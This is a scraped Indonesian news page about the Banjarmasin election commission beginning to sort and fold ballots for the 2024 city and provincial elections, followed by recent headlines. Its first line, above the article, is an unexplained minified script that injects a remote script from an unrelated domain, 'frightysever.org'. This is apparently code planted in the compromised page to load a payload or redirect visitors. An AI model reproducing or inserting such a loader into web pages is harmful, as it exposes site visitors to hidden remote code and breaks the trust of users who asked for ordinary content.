(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
pilkada 2024

KPU Banjarmasin Mulai Pelipatan Surat Suara


KANALKALIMANTAN.COM, BANJARMASIN – Surat suara Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin dan Pemilihan Gubernur dan Wakil Gubernur (Pilgub) Kalimantan Selatan (Kalsel) 2024 masuk ke gudang logistik Komisi Pemilihan Umum (KPU) Kota Banjarmasin.

Proses penyortiran dan pelipatan mulai dilakukan sejak Senin (4/11/2024) siang, melibatkan tenaga yang sudah berpengalaman.

“Kita mempekerjakan sekitar 150 orang tenaga berpengalaman, yang sudah pernah melakukan pelipatan pada saat Pileg dan Pilpres lalu,” kata Ketua KPU Banjarmasin Rusnailah.

Baca juga: Pasca Pembatalan Pencalonan: Surat Suara Pilwali Banjarbaru Tunggu Arahan KPU RI

Rusnailah mengungkapkan, pelipatan yang dilaksanakan Senin (4/10/2024) siang, dimulai dari surat suara Pilgub Kalsel.

Waktu pelipatan tahap pertama dijadwalkan dalam waktu dua hari dan ditargetkan selesai pada Selasa (6/11/2024) besok.

“Kemudian dilanjutkan pelipatan surat suara Pilwali dari tanggal 6 dan 7 Nopember 2024,” katanya.

Baca juga: 110 PTPS Landasan Ulin Dilantik, Awasi Pungut dan Hitung Suara

Masih lanjut Rusnailah, surat suara yang dilipat jumlahnya berdasarkan Daftar Pemilih Tetap (DPT) Kota Banjarmasin yakni 485.418 orang pemilih.

Sehingga jika dikalikan dua untuk Pilwali dan Pilgub mencapai 970.836 lembar surat suara. Kemudian ditambah 2,5 persen surat suara cadangan.

Sementara untuk surat suara 2 ribu lembar yang disiapakan jika terjadi Pemilihan Suara Ulang (PSU) tidak dilakukan pelipatan.

Baca juga: 469 PTPS se HSU Dilantik, Siap Jalankan Tugas Pengawasan di TPS

Ketua KPU Banjarmasin menjelaskan bahwa jika pekerja menemukan surat suara yang rusak, maka dianjurkan untuk segera berkonsultasi dengan petugas dari KPU Banjarmasin.

Pun, jika ada surat suara mengalami kekurangan karena ditemukan rusak, maka KPU akan meminta kembali ke penyedia melalui KPU Provinsi Kalsel.(Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

6 menit ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

4 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

6 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

20 jam ago

Ikmaban Salurkan Bantuan Banjir di Desa Pejambuan

KANALKALIMANTAN.COM, MARTAPURA - Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa… Read More

1 hari ago

Pemko Banjarmasin Janjikan Normalisasi Aliran Sungai Gampa

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More

1 hari ago

This website uses cookies.